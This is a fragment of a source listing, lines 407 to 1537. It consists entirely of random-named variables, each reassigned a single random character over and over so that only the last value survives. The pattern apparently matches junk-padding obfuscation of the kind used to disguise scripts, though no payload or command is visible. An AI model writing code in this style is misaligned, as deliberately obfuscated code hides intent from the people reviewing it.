407	zyurqqle = "d";
408	zyurqqle = "P";
409	zyurqqle = "v";
410	zyurqqle = "Q";
411	zyurqqle = "I";
412	zyurqqle = "U";
413	zyurqqle = "X";
414	zyurqqle = ":";
415	tnrvj = "z";
416	tnrvj = "c";
417	tnrvj = "j";
418	tnrvj = "R";
419	tnrvj = "P";
420	tnrvj = "G";
421	tnrvj = "p";
422	tnrvj = "m";
423	tnrvj = "U";
424	tnrvj = "R";
425	tnrvj = "V";
426	tnrvj = "n";
427	tnrvj = "K";
428	tnrvj = "Q";
429	tnrvj = "J";
430	tnrvj = "A";
431	tnrvj = "Q";
432	tnrvj = "T";
433	tnrvj = "v";
434	tnrvj = "h";
435	tnrvj = "c";
436	tnrvj = "B";
437	tnrvj = "e";
438	mexuwv = "Z";
439	mexuwv = "h";
440	mexuwv = "m";
441	mexuwv = "c";
442	mexuwv = "q";
443	mexuwv = "F";
444	mexuwv = "n";
445	mexuwv = "Y";
446	mexuwv = "i";
447	mexuwv = "e";
448	mexuwv = "c";
449	mexuwv = "v";
450	mexuwv = "r";
451	mexuwv = "N";
452	mexuwv = "B";
453	mexuwv = "K";
454	mexuwv = "P";
455	mexuwv = "B";
456	mexuwv = "g";
457	mexuwv = "X";
458	mexuwv = "N";
459	mexuwv = "u";
460	mexuwv = "Y";
461	mexuwv = "g";
462	mexuwv = "l";
463	mexuwv = "Z";
464	mexuwv = "m";
465	prvnux = "L";
466	prvnux = "H";
467	prvnux = "F";
468	prvnux = "A";
469	prvnux = "t";
470	prvnux = "q";
471	prvnux = "P";
472	prvnux = "g";
473	prvnux = "b";
474	prvnux = "G";
475	prvnux = "N";
476	prvnux = "j";
477	prvnux = "B";
478	prvnux = "T";
479	prvnux = "x";
480	prvnux = "Z";
481	prvnux = "F";
482	prvnux = "X";
483	prvnux = "G";
484	prvnux = "u";
485	prvnux = "t";
486	prvnux = "x";
487	prvnux = "y";
488	prvnux = "B";
489	prvnux = "B";
490	prvnux = "J";
491	prvnux = "m";
492	prvnux = "x";
493	prvnux = "Q";
494	prvnux = "P";
495	prvnux = "P";
496	prvnux = "t";
497	prvnux = "m";
498	prvnux = "j";
499	prvnux = "n";
500	hwnxx = "j";
501	hwnxx = "q";
502	hwnxx = "B";
503	hwnxx = "k";
504	hwnxx = "O";
505	hwnxx = "h";
506	hwnxx = "y";
507	hwnxx = "x";
508	hwnxx = "P";
509	hwnxx = "W";
510	hwnxx = "a";
511	hwnxx = "z";
512	hwnxx = "C";
513	hwnxx = "p";
514	hwnxx = "T";
515	itsyivzmg = "I";
516	itsyivzmg = "R";
517	itsyivzmg = "n";
518	itsyivzmg = "s";
519	itsyivzmg = "z";
520	itsyivzmg = "A";
521	itsyivzmg = "J";
522	itsyivzmg = "W";
523	itsyivzmg = "b";
524	itsyivzmg = "o";
525	itsyivzmg = "g";
526	itsyivzmg = "H";
527	itsyivzmg = "z";
528	itsyivzmg = "m";
529	itsyivzmg = "E";
530	itsyivzmg = "m";
531	itsyivzmg = "g";
532	itsyivzmg = "J";
533	itsyivzmg = "p";
534	itsyivzmg = "R";
535	itsyivzmg = "y";
536	itsyivzmg = "C";
537	itsyivzmg = "b";
538	itsyivzmg = "K";
539	itsyivzmg = "W";
540	itsyivzmg = "I";
541	itsyivzmg = "U";
542	itsyivzmg = "m";
543	itsyivzmg = "a";
544	erpbspdvn = "S";
545	erpbspdvn = "V";
546	erpbspdvn = "R";
547	erpbspdvn = "p";
548	erpbspdvn = "e";
549	erpbspdvn = "h";
550	erpbspdvn = "u";
551	erpbspdvn = "p";
552	erpbspdvn = "d";
553	erpbspdvn = "y";
554	erpbspdvn = "I";
555	erpbspdvn = "I";
556	erpbspdvn = "c";
557	erpbspdvn = "O";
558	erpbspdvn = "Z";
559	erpbspdvn = "Y";
560	erpbspdvn = "Y";
561	erpbspdvn = "%";
562	pnzvkqid = "Q";
563	pnzvkqid = "C";
564	pnzvkqid = "t";
565	pnzvkqid = "T";
566	pnzvkqid = "o";
567	pnzvkqid = "p";
568	pnzvkqid = "V";
569	pnzvkqid = "Z";
570	pnzvkqid = "d";
571	pnzvkqid = "b";
572	pnzvkqid = "E";
573	pnzvkqid = "z";
574	pnzvkqid = "v";
575	corchbusj = "C";
576	corchbusj = "S";
577	corchbusj = "a";
578	corchbusj = "T";
579	corchbusj = "x";
580	corchbusj = "h";
581	corchbusj = "T";
582	corchbusj = "K";
583	corchbusj = "o";
584	corchbusj = "j";
585	corchbusj = "g";
586	corchbusj = "d";
587	corchbusj = "O";
588	corchbusj = "L";
589	corchbusj = "s";
590	corchbusj = "F";
591	corchbusj = "v";
592	corchbusj = "M";
593	corchbusj = "w";
594	corchbusj = "r";
595	corchbusj = "w";
596	corchbusj = "p";
597	qliwb = "M";
598	qliwb = "R";
599	qliwb = "m";
600	qliwb = "G";
601	qliwb = "r";
602	qliwb = "s";
603	qliwb = "Z";
604	qliwb = "A";
605	qliwb = "D";
606	qliwb = "M";
607	qliwb = "r";
608	qliwb = "a";
609	qliwb = "c";
610	qliwb = "v";
611	qliwb = "k";
612	qliwb = "R";
613	qliwb = "v";
614	qliwb = "u";
615	qliwb = "Y";
616	qliwb = "m";
617	qliwb = "M";
618	qliwb = "y";
619	qliwb = "D";
620	qliwb = "Q";
621	qliwb = "e";
622	qliwb = "e";
623	qliwb = "k";
624	qliwb = "R";
625	qliwb = "m";
626	qliwb = "u";
627	qliwb = "x";
628	qliwb = "t";
629	qliwb = "w";
630	qliwb = "F";
631	qliwb = "B";
632	qliwb = "n";
633	qliwb = "J";
634	qliwb = "u";
635	qliwb = "X";
636	qliwb = "m";
637	qliwb = "V";
638	qliwb = "B";
639	qliwb = "-";
640	yatrtwigg = "v";
641	yatrtwigg = "Y";
642	yatrtwigg = "U";
643	yatrtwigg = "E";
644	yatrtwigg = "i";
645	yatrtwigg = "L";
646	yatrtwigg = "V";
647	yatrtwigg = "d";
648	yatrtwigg = "N";
649	yatrtwigg = "E";
650	yatrtwigg = "d";
651	yatrtwigg = "m";
652	yatrtwigg = "S";
653	yatrtwigg = "m";
654	yatrtwigg = "a";
655	yatrtwigg = "e";
656	yatrtwigg = "Z";
657	yatrtwigg = "o";
658	yatrtwigg = "c";
659	yatrtwigg = "m";
660	yatrtwigg = "a";
661	yatrtwigg = "s";
662	yatrtwigg = "K";
663	yatrtwigg = "J";
664	yatrtwigg = "d";
665	yatrtwigg = "b";
666	yatrtwigg = "V";
667	yatrtwigg = "R";
668	yatrtwigg = "S";
669	yatrtwigg = "Q";
670	yatrtwigg = "J";
671	yatrtwigg = "p";
672	yatrtwigg = "X";
673	yatrtwigg = "P";
674	yatrtwigg = "O";
675	yatrtwigg = "b";
676	yatrtwigg = "l";
677	yatrtwigg = "p";
678	yatrtwigg = "U";
679	yatrtwigg = "l";
680	yatrtwigg = "1";
681	zcrucqwi = "N";
682	zcrucqwi = "X";
683	zcrucqwi = "j";
684	zcrucqwi = "Z";
685	zcrucqwi = "Q";
686	zcrucqwi = "c";
687	zcrucqwi = "I";
688	zcrucqwi = "o";
689	zcrucqwi = "W";
690	zcrucqwi = "w";
691	zcrucqwi = "F";
692	zcrucqwi = "K";
693	zcrucqwi = "K";
694	zcrucqwi = "e";
695	zcrucqwi = "r";
696	zcrucqwi = "G";
697	zcrucqwi = "o";
698	zcrucqwi = "n";
699	zcrucqwi = "D";
700	zcrucqwi = "T";
701	zcrucqwi = "B";
702	zcrucqwi = "S";
703	zcrucqwi = "D";
704	zcrucqwi = "P";
705	zcrucqwi = "v";
706	zcrucqwi = "i";
707	zcrucqwi = "V";
708	zcrucqwi = "Z";
709	zcrucqwi = "y";
710	zcrucqwi = "m";
711	zcrucqwi = "o";
712	zcrucqwi = "a";
713	zcrucqwi = "u";
714	zcrucqwi = "8";
715	mnbqzd = "V";
716	mnbqzd = "E";
717	btnbmv = "Q";
718	btnbmv = "L";
719	btnbmv = "W";
720	btnbmv = "u";
721	btnbmv = "O";
722	btnbmv = "p";
723	btnbmv = "Y";
724	btnbmv = "m";
725	btnbmv = "y";
726	btnbmv = "c";
727	btnbmv = "g";
728	btnbmv = "b";
729	btnbmv = "J";
730	btnbmv = "N";
731	btnbmv = "J";
732	btnbmv = "9";
733	fmczrdvr = "L";
734	fmczrdvr = "Y";
735	fmczrdvr = "v";
736	fmczrdvr = "h";
737	fmczrdvr = "R";
738	fmczrdvr = "M";
739	fmczrdvr = "Z";
740	fmczrdvr = "x";
741	fmczrdvr = "f";
742	fmczrdvr = "N";
743	fmczrdvr = "U";
744	fmczrdvr = "j";
745	fmczrdvr = "m";
746	fmczrdvr = "x";
747	fmczrdvr = "y";
748	fmczrdvr = "S";
749	fmczrdvr = "X";
750	fmczrdvr = "s";
751	fmczrdvr = "B";
752	fmczrdvr = "Q";
753	fmczrdvr = "i";
754	fmczrdvr = "N";
755	fmczrdvr = "p";
756	fmczrdvr = "x";
757	fmczrdvr = "b";
758	fmczrdvr = "c";
759	fmczrdvr = "j";
760	fmczrdvr = "t";
761	fmczrdvr = "w";
762	fmczrdvr = "j";
763	cxggctxw = "x";
764	cxggctxw = "f";
765	cxggctxw = "q";
766	cxggctxw = "m";
767	cxggctxw = "S";
768	cxggctxw = "d";
769	cxggctxw = "h";
770	cxggctxw = "s";
771	cxggctxw = "Y";
772	cxggctxw = "m";
773	cxggctxw = "V";
774	cxggctxw = "i";
775	cxggctxw = "Y";
776	cxggctxw = "x";
777	cxggctxw = "R";
778	cxggctxw = "x";
779	cxggctxw = "b";
780	cxggctxw = "Q";
781	cxggctxw = "M";
782	cxggctxw = "X";
783	cxggctxw = "r";
784	cxggctxw = "m";
785	cxggctxw = "l";
786	cxggctxw = "h";
787	cxggctxw = "K";
788	cxggctxw = "C";
789	cxggctxw = "U";
790	cxggctxw = "k";
791	cxggctxw = "L";
792	cxggctxw = "Q";
793	cxggctxw = "M";
794	cxggctxw = "I";
795	cxggctxw = "X";
796	cxggctxw = "K";
797	cxggctxw = "B";
798	cxggctxw = "M";
799	cxggctxw = "H";
800	cxggctxw = "T";
801	cxggctxw = "x";
802	cxggctxw = "m";
803	cxggctxw = "j";
804	cxggctxw = "C";
805	cxggctxw = "_";
806	sfjjdi = "Q";
807	sfjjdi = "r";
808	sfjjdi = "p";
809	sfjjdi = "Y";
810	sfjjdi = "E";
811	sfjjdi = "Y";
812	sfjjdi = "Y";
813	sfjjdi = "I";
814	sfjjdi = "U";
815	sfjjdi = "F";
816	sfjjdi = "c";
817	sfjjdi = "c";
818	sfjjdi = "m";
819	sfjjdi = "X";
820	sfjjdi = "z";
821	sfjjdi = "U";
822	sfjjdi = "Z";
823	sfjjdi = "X";
824	sfjjdi = "e";
825	sfjjdi = "E";
826	sfjjdi = "Z";
827	sfjjdi = "P";
828	sfjjdi = "y";
829	sfjjdi = "F";
830	sfjjdi = "y";
831	sfjjdi = "i";
832	sfjjdi = "g";
833	sfjjdi = "i";
834	sfjjdi = "U";
835	sfjjdi = "Z";
836	sfjjdi = "c";
837	sfjjdi = "J";
838	sfjjdi = "V";
839	sfjjdi = "n";
840	sfjjdi = "o";
841	sfjjdi = "A";
842	sfjjdi = "y";
843	sfjjdi = "P";
844	sfjjdi = "l";
845	sfjjdi = "s";
846	sfjjdi = "K";
847	sfjjdi = "n";
848	sfjjdi = "D";
849	sfjjdi = "F";
850	ofopw = "g";
851	ofopw = "U";
852	ofopw = "S";
853	ofopw = "Y";
854	ofopw = "R";
855	ofopw = "D";
856	ofopw = "v";
857	ofopw = "j";
858	ofopw = "P";
859	ofopw = "S";
860	ofopw = "d";
861	ofopw = "P";
862	ofopw = "I";
863	ofopw = "C";
864	ofopw = "h";
865	ofopw = "I";
866	ofopw = "G";
867	ofopw = "W";
868	ofopw = "o";
869	ofopw = "G";
870	ofopw = "m";
871	ofopw = "X";
872	ofopw = "J";
873	ofopw = "c";
874	ofopw = "Y";
875	ofopw = "I";
876	ofopw = "R";
877	ofopw = "Y";
878	xoqbcx = "q";
879	xoqbcx = "K";
880	xoqbcx = "o";
881	xoqbcx = "h";
882	xoqbcx = "U";
883	xoqbcx = "M";
884	xoqbcx = "q";
885	xoqbcx = "c";
886	xoqbcx = "l";
887	xoqbcx = "d";
888	xoqbcx = "o";
889	xoqbcx = "y";
890	xoqbcx = "d";
891	xoqbcx = "b";
892	xoqbcx = "R";
893	xoqbcx = "F";
894	xoqbcx = "w";
895	xoqbcx = "B";
896	xoqbcx = "j";
897	xoqbcx = "C";
898	xoqbcx = "d";
899	xoqbcx = "Q";
900	xoqbcx = "y";
901	xoqbcx = "e";
902	xoqbcx = "S";
903	xoqbcx = "t";
904	xoqbcx = "n";
905	xoqbcx = "f";
906	xoqbcx = "L";
907	xoqbcx = "A";
908	xoqbcx = "c";
909	xoqbcx = "P";
910	lzrwd = "o";
911	lzrwd = "w";
912	lzrwd = "E";
913	lzrwd = "z";
914	lzrwd = "U";
915	lzrwd = "N";
916	lzrwd = "i";
917	lzrwd = "o";
918	ryftgr = "v";
919	ryftgr = "n";
920	ryftgr = "r";
921	ryftgr = "A";
922	ryftgr = "b";
923	ryftgr = "g";
924	ryftgr = "g";
925	ryftgr = "d";
926	ryftgr = "s";
927	ryftgr = "f";
928	ryftgr = "u";
929	ryftgr = "X";
930	ryftgr = "u";
931	ryftgr = "p";
932	ryftgr = "t";
933	ryftgr = "p";
934	ryftgr = "B";
935	ryftgr = "l";
936	ryftgr = "K";
937	ryftgr = "K";
938	ryftgr = "u";
939	ryftgr = "U";
940	ryftgr = "A";
941	ryftgr = "p";
942	ryftgr = "Q";
943	ryftgr = "T";
944	ryftgr = "Q";
945	ryftgr = "j";
946	ryftgr = "A";
947	ryftgr = "q";
948	ryftgr = "x";
949	ryftgr = "i";
950	ryftgr = "o";
951	ryftgr = "o";
952	ryftgr = "f";
953	ryftgr = "Z";
954	ryftgr = "o";
955	ryftgr = "A";
956	ryftgr = "m";
957	ryftgr = "Z";
958	ryftgr = "D";
959	ryftgr = "G";
960	ryftgr = "5";
961	hsahgp = "X";
962	hsahgp = "u";
963	hsahgp = "k";
964	hsahgp = "J";
965	hsahgp = "H";
966	hsahgp = "U";
967	hsahgp = "Y";
968	hsahgp = "x";
969	hsahgp = "u";
970	hsahgp = "S";
971	hsahgp = "w";
972	hsahgp = "Q";
973	hsahgp = "g";
974	goggkolv = "L";
975	goggkolv = "U";
976	goggkolv = "t";
977	goggkolv = "F";
978	goggkolv = "G";
979	goggkolv = "p";
980	goggkolv = "D";
981	goggkolv = "Q";
982	goggkolv = "D";
983	goggkolv = "E";
984	goggkolv = "h";
985	goggkolv = "x";
986	goggkolv = "K";
987	goggkolv = "T";
988	goggkolv = "v";
989	goggkolv = "i";
990	goggkolv = "O";
991	goggkolv = "Q";
992	goggkolv = "n";
993	goggkolv = "D";
994	goggkolv = "I";
995	goggkolv = "q";
996	goggkolv = "y";
997	goggkolv = "M";
998	goggkolv = "O";
999	goggkolv = "v";
1000	goggkolv = "I";
1001	goggkolv = "O";
1002	goggkolv = "j";
1003	goggkolv = "o";
1004	goggkolv = "i";
1005	goggkolv = "r";
1006	goggkolv = "b";
1007	goggkolv = "d";
1008	goggkolv = "c";
1009	goggkolv = "Z";
1010	goggkolv = "A";
1011	goggkolv = "L";
1012	goggkolv = "U";
1013	goggkolv = "Z";
1014	goggkolv = "3";
1015	rpitvwaa = "J";
1016	rpitvwaa = "C";
1017	rpitvwaa = "y";
1018	rpitvwaa = "N";
1019	rpitvwaa = "D";
1020	rpitvwaa = "r";
1021	rpitvwaa = "K";
1022	rpitvwaa = "K";
1023	rpitvwaa = "C";
1024	rpitvwaa = "n";
1025	rpitvwaa = "U";
1026	rpitvwaa = "y";
1027	rpitvwaa = "U";
1028	rpitvwaa = "h";
1029	rpitvwaa = "X";
1030	rpitvwaa = "X";
1031	rpitvwaa = "c";
1032	rpitvwaa = "X";
1033	rpitvwaa = "K";
1034	rpitvwaa = "B";
1035	rpitvwaa = "Q";
1036	rpitvwaa = "V";
1037	rpitvwaa = "E";
1038	rpitvwaa = "R";
1039	rpitvwaa = "r";
1040	rpitvwaa = "N";
1041	rpitvwaa = "H";
1042	rpitvwaa = "Q";
1043	rpitvwaa = "T";
1044	rpitvwaa = "t";
1045	rpitvwaa = "d";
1046	rpitvwaa = "x";
1047	rpitvwaa = "y";
1048	rpitvwaa = "V";
1049	rpitvwaa = "c";
1050	rpitvwaa = "F";
1051	rpitvwaa = "t";
1052	rpitvwaa = "v";
1053	rpitvwaa = "X";
1054	rpitvwaa = "O";
1055	rpitvwaa = "w";
1056	cwrdagbtz = "W";
1057	cwrdagbtz = "G";
1058	cwrdagbtz = "q";
1059	cwrdagbtz = "L";
1060	cwrdagbtz = "K";
1061	cwrdagbtz = "a";
1062	cwrdagbtz = "q";
1063	cwrdagbtz = "B";
1064	cwrdagbtz = "v";
1065	cwrdagbtz = "D";
1066	cwrdagbtz = "y";
1067	cwrdagbtz = "h";
1068	cwrdagbtz = "G";
1069	cwrdagbtz = "g";
1070	cwrdagbtz = "X";
1071	cwrdagbtz = "J";
1072	cwrdagbtz = "q";
1073	cwrdagbtz = "d";
1074	cwrdagbtz = "R";
1075	cwrdagbtz = "C";
1076	ljzhuff = "r";
1077	ljzhuff = "e";
1078	ljzhuff = "x";
1079	ljzhuff = "M";
1080	ljzhuff = "p";
1081	ljzhuff = "S";
1082	ljzhuff = "y";
1083	ljzhuff = "L";
1084	ljzhuff = "o";
1085	ljzhuff = "b";
1086	ljzhuff = "K";
1087	ljzhuff = "G";
1088	ljzhuff = "K";
1089	ljzhuff = "t";
1090	ljzhuff = "a";
1091	ljzhuff = "c";
1092	ljzhuff = "r";
1093	ljzhuff = "H";
1094	ljzhuff = "N";
1095	ljzhuff = "K";
1096	pvzcgni = "D";
1097	pvzcgni = "B";
1098	pvzcgni = "O";
1099	pvzcgni = "s";
1100	pvzcgni = "R";
1101	pvzcgni = "t";
1102	pvzcgni = "i";
1103	pvzcgni = "M";
1104	pvzcgni = "d";
1105	pvzcgni = "U";
1106	pvzcgni = "Y";
1107	pvzcgni = "l";
1108	pvzcgni = "d";
1109	pvzcgni = "x";
1110	pvzcgni = "u";
1111	pvzcgni = "b";
1112	pvzcgni = "h";
1113	pvzcgni = "l";
1114	pvzcgni = "Y";
1115	pvzcgni = "t";
1116	pvzcgni = "B";
1117	pvzcgni = "e";
1118	pvzcgni = "Y";
1119	pvzcgni = "v";
1120	pvzcgni = "F";
1121	pvzcgni = "u";
1122	pvzcgni = "f";
1123	pvzcgni = "s";
1124	pvzcgni = "K";
1125	pvzcgni = "E";
1126	pvzcgni = "t";
1127	pvzcgni = "H";
1128	pvzcgni = "I";
1129	pvzcgni = "z";
1130	pvzcgni = "y";
1131	pvzcgni = "u";
1132	pvzcgni = "t";
1133	pvzcgni = "f";
1134	pvzcgni = "p";
1135	pvzcgni = "E";
1136	pvzcgni = "N";
1137	eogqezawo = "b";
1138	eogqezawo = "K";
1139	eogqezawo = "f";
1140	eogqezawo = "t";
1141	eogqezawo = "I";
1142	eogqezawo = "K";
1143	eogqezawo = "w";
1144	eogqezawo = "I";
1145	eogqezawo = "I";
1146	eogqezawo = "r";
1147	eogqezawo = "N";
1148	eogqezawo = "Q";
1149	eogqezawo = "w";
1150	eogqezawo = "b";
1151	eogqezawo = "l";
1152	eogqezawo = "y";
1153	eogqezawo = "Z";
1154	eogqezawo = "I";
1155	eogqezawo = "U";
1156	eogqezawo = "b";
1157	eogqezawo = "Y";
1158	eogqezawo = "V";
1159	eogqezawo = "O";
1160	eogqezawo = "Z";
1161	eogqezawo = "F";
1162	eogqezawo = "C";
1163	eogqezawo = "q";
1164	eogqezawo = "h";
1165	eogqezawo = "a";
1166	eogqezawo = "m";
1167	eogqezawo = "C";
1168	eogqezawo = "c";
1169	eogqezawo = "j";
1170	eogqezawo = "k";
1171	eogqezawo = "X";
1172	eogqezawo = "v";
1173	eogqezawo = "F";
1174	eogqezawo = "s";
1175	eogqezawo = "B";
1176	eogqezawo = "k";
1177	ttxtfkmkp = "A";
1178	ttxtfkmkp = "I";
1179	ttxtfkmkp = "s";
1180	ttxtfkmkp = "T";
1181	ttxtfkmkp = "D";
1182	ttxtfkmkp = "V";
1183	ttxtfkmkp = "n";
1184	ttxtfkmkp = "N";
1185	ttxtfkmkp = "U";
1186	ttxtfkmkp = "t";
1187	ttxtfkmkp = "j";
1188	ttxtfkmkp = "M";
1189	ttxtfkmkp = "d";
1190	ttxtfkmkp = "g";
1191	ttxtfkmkp = "h";
1192	ttxtfkmkp = "I";
1193	ttxtfkmkp = "n";
1194	ttxtfkmkp = "D";
1195	ttxtfkmkp = "l";
1196	ttxtfkmkp = "h";
1197	ttxtfkmkp = "d";
1198	ttxtfkmkp = "O";
1199	ttxtfkmkp = "w";
1200	ttxtfkmkp = "m";
1201	ttxtfkmkp = "X";
1202	ttxtfkmkp = "o";
1203	ttxtfkmkp = "C";
1204	ttxtfkmkp = "h";
1205	ttxtfkmkp = "W";
1206	ttxtfkmkp = "i";
1207	ttxtfkmkp = "X";
1208	ttxtfkmkp = "V";
1209	ttxtfkmkp = "k";
1210	ttxtfkmkp = "i";
1211	ttxtfkmkp = "J";
1212	ttxtfkmkp = "F";
1213	ttxtfkmkp = "\\";
1214	mgmfko = "S";
1215	mgmfko = "A";
1216	mgmfko = "I";
1217	mgmfko = "O";
1218	mgmfko = "S";
1219	mgmfko = "a";
1220	mgmfko = "p";
1221	mgmfko = "V";
1222	mgmfko = "M";
1223	mgmfko = "E";
1224	mgmfko = "L";
1225	mgmfko = "T";
1226	mgmfko = "N";
1227	mgmfko = "d";
1228	mgmfko = "F";
1229	mgmfko = "u";
1230	mgmfko = "x";
1231	mgmfko = "z";
1232	mgmfko = "K";
1233	mgmfko = "u";
1234	mgmfko = "k";
1235	mgmfko = "X";
1236	mgmfko = "U";
1237	mgmfko = "v";
1238	mgmfko = "M";
1239	mgmfko = "c";
1240	mgmfko = "m";
1241	mgmfko = "M";
1242	mgmfko = "F";
1243	mgmfko = "b";
1244	mgmfko = "z";
1245	mgmfko = "j";
1246	mgmfko = "a";
1247	mgmfko = "m";
1248	mgmfko = " ";
1249	dkqto = "O";
1250	dkqto = "W";
1251	dkqto = "r";
1252	dkqto = "f";
1253	dkqto = "P";
1254	dkqto = "X";
1255	dkqto = "E";
1256	dkqto = "a";
1257	dkqto = "G";
1258	dkqto = "R";
1259	ggufg = "O";
1260	ggufg = "i";
1261	ggufg = "O";
1262	ggufg = "J";
1263	ggufg = "H";
1264	ggufg = "T";
1265	ggufg = "C";
1266	ggufg = "e";
1267	ggufg = "i";
1268	ggufg = "Y";
1269	ggufg = "D";
1270	ggufg = "P";
1271	ggufg = "N";
1272	ggufg = "W";
1273	ggufg = "I";
1274	ggufg = "I";
1275	ggufg = "z";
1276	ggufg = "a";
1277	ggufg = "N";
1278	ggufg = "n";
1279	ggufg = "P";
1280	ggufg = "c";
1281	ggufg = "K";
1282	ggufg = "M";
1283	ggufg = "C";
1284	ggufg = "F";
1285	ggufg = "S";
1286	ggufg = "Z";
1287	ggufg = "o";
1288	ggufg = "G";
1289	ggufg = "k";
1290	ggufg = "X";
1291	ggufg = "K";
1292	ggufg = "r";
1293	ggufg = "z";
1294	ggufg = "o";
1295	ggufg = "q";
1296	ggufg = "l";
1297	ggufg = "x";
1298	ggufg = "o";
1299	ggufg = "g";
1300	ggufg = "F";
1301	ggufg = "W";
1302	ggufg = "t";
1303	jbkezseqm = "K";
1304	jbkezseqm = "I";
1305	jbkezseqm = "b";
1306	jbkezseqm = "s";
1307	jbkezseqm = "M";
1308	jbkezseqm = "C";
1309	jbkezseqm = "q";
1310	jbkezseqm = "j";
1311	jbkezseqm = "k";
1312	jbkezseqm = "Q";
1313	jbkezseqm = "n";
1314	jbkezseqm = "V";
1315	jbkezseqm = "E";
1316	jbkezseqm = "D";
1317	jbkezseqm = "R";
1318	jbkezseqm = "c";
1319	jbkezseqm = "M";
1320	jbkezseqm = "w";
1321	jbkezseqm = "x";
1322	jbkezseqm = "Q";
1323	jbkezseqm = "x";
1324	jbkezseqm = "R";
1325	jbkezseqm = "V";
1326	jbkezseqm = "Z";
1327	jbkezseqm = "c";
1328	jbkezseqm = "u";
1329	jbkezseqm = "Z";
1330	jbkezseqm = "A";
1331	jbkezseqm = "v";
1332	jbkezseqm = "x";
1333	jbkezseqm = "q";
1334	jbkezseqm = "R";
1335	jbkezseqm = "f";
1336	jbkezseqm = "B";
1337	jbkezseqm = "X";
1338	jbkezseqm = "v";
1339	jbkezseqm = "q";
1340	jbkezseqm = "J";
1341	jbkezseqm = "7";
1342	vohjzzoj = "W";
1343	vohjzzoj = "I";
1344	vohjzzoj = "J";
1345	vohjzzoj = "Q";
1346	fggxas = "k";
1347	fggxas = "O";
1348	fggxas = "M";
1349	fggxas = "S";
1350	fggxas = "S";
1351	fggxas = "b";
1352	fggxas = "l";
1353	fggxas = "J";
1354	fggxas = "d";
1355	fggxas = "d";
1356	fggxas = "d";
1357	fggxas = "y";
1358	fggxas = "B";
1359	fggxas = "m";
1360	fggxas = "s";
1361	fggxas = "z";
1362	fggxas = "O";
1363	fggxas = "B";
1364	fggxas = "c";
1365	fggxas = "h";
1366	fggxas = "r";
1367	fggxas = "k";
1368	fggxas = "O";
1369	fggxas = "b";
1370	fggxas = "K";
1371	fggxas = "m";
1372	fggxas = "e";
1373	fggxas = "D";
1374	fggxas = "f";
1375	fggxas = "m";
1376	fggxas = "x";
1377	fggxas = "z";
1378	fggxas = "I";
1379	fggxas = "H";
1380	fggxas = "a";
1381	fggxas = "b";
1382	fggxas = "h";
1383	fggxas = "W";
1384	fggxas = "K";
1385	fggxas = "S";
1386	fggxas = "P";
1387	fggxas = "@";
1388	yyrma = "H";
1389	yyrma = "j";
1390	yyrma = "c";
1391	yyrma = "I";
1392	gtjaa = "e";
1393	gtjaa = "D";
1394	gtjaa = "o";
1395	gtjaa = "X";
1396	gtjaa = "O";
1397	qlpcszht = "S";
1398	qlpcszht = "W";
1399	qlpcszht = "I";
1400	qlpcszht = "y";
1401	qlpcszht = "r";
1402	qlpcszht = "b";
1403	qlpcszht = "R";
1404	qlpcszht = "X";
1405	qlpcszht = "p";
1406	qlpcszht = "N";
1407	qlpcszht = "o";
1408	qlpcszht = "w";
1409	qlpcszht = "v";
1410	qlpcszht = "P";
1411	qlpcszht = "l";
1412	bgsdyjzj = "b";
1413	bgsdyjzj = "C";
1414	bgsdyjzj = "y";
1415	bgsdyjzj = "H";
1416	bgsdyjzj = "u";
1417	bgsdyjzj = "L";
1418	bgsdyjzj = "L";
1419	bgsdyjzj = "Y";
1420	bgsdyjzj = "a";
1421	bgsdyjzj = "w";
1422	bgsdyjzj = "b";
1423	bgsdyjzj = "Z";
1424	bgsdyjzj = "N";
1425	bgsdyjzj = "j";
1426	bgsdyjzj = "T";
1427	bgsdyjzj = "Y";
1428	bgsdyjzj = "d";
1429	bgsdyjzj = "n";
1430	bgsdyjzj = "Y";
1431	bgsdyjzj = "n";
1432	bgsdyjzj = "U";
1433	bgsdyjzj = "I";
1434	bgsdyjzj = "Z";
1435	bgsdyjzj = "t";
1436	bgsdyjzj = "u";
1437	mubeq = "W";
1438	mubeq = "p";
1439	mubeq = "u";
1440	mubeq = "j";
1441	mubeq = "u";
1442	mubeq = "N";
1443	mubeq = "J";
1444	mubeq = "j";
1445	mubeq = "o";
1446	mubeq = "f";
1447	mubeq = "f";
1448	mubeq = "a";
1449	mubeq = "J";
1450	mubeq = "D";
1451	mubeq = "A";
1452	mubeq = "S";
1453	ahvgej = "J";
1454	ahvgej = "a";
1455	ahvgej = "T";
1456	ahvgej = "Z";
1457	ahvgej = "V";
1458	ahvgej = "x";
1459	ahvgej = "p";
1460	ahvgej = "h";
1461	ahvgej = "s";
1462	ahvgej = "H";
1463	ahvgej = "L";
1464	ahvgej = "f";
1465	sisvfj = "y";
1466	sisvfj = "N";
1467	sisvfj = "u";
1468	sisvfj = "I";
1469	sisvfj = "f";
1470	sisvfj = "E";
1471	sisvfj = "t";
1472	sisvfj = "W";
1473	sisvfj = "f";
1474	sisvfj = "r";
1475	sisvfj = "W";
1476	sisvfj = "f";
1477	sisvfj = "O";
1478	sisvfj = "A";
1479	sisvfj = "v";
1480	sisvfj = "P";
1481	sisvfj = "J";
1482	sisvfj = "i";
1483	sisvfj = "M";
1484	sisvfj = "Q";
1485	sisvfj = "b";
1486	sisvfj = "t";
1487	sisvfj = "p";
1488	sisvfj = "b";
1489	sisvfj = "U";
1490	sisvfj = "z";
1491	sisvfj = "x";
1492	evigez = "A";
1493	evigez = "p";
1494	evigez = "K";
1495	evigez = "V";
1496	evigez = "H";
1497	evigez = "I";
1498	evigez = "f";
1499	evigez = "q";
1500	evigez = "s";
1501	evigez = "n";
1502	evigez = "m";
1503	evigez = "R";
1504	evigez = "o";
1505	evigez = "s";
1506	evigez = "J";
1507	evigez = "A";
1508	evigez = "s";
1509	lvtvbj = "x";
1510	lvtvbj = "m";
1511	lvtvbj = "W";
1512	lvtvbj = "S";
1513	lvtvbj = "T";
1514	lvtvbj = "t";
1515	lvtvbj = "i";
1516	lvtvbj = "e";
1517	lvtvbj = "D";
1518	lvtvbj = "b";
1519	lvtvbj = "o";
1520	lvtvbj = "Z";
1521	lvtvbj = "m";
1522	lvtvbj = "G";
1523	lvtvbj = "b";
1524	lvtvbj = "N";
1525	lvtvbj = "T";
1526	lvtvbj = "l";
1527	lvtvbj = "u";
1528	lvtvbj = "r";
1529	lvtvbj = "W";
1530	lvtvbj = "T";
1531	lvtvbj = "Y";
1532	lvtvbj = "B";
1533	lvtvbj = "F";
1534	lvtvbj = "F";
1535	lvtvbj = "W";
1536	lvtvbj = "C";
1537	lvtvbj = "z";
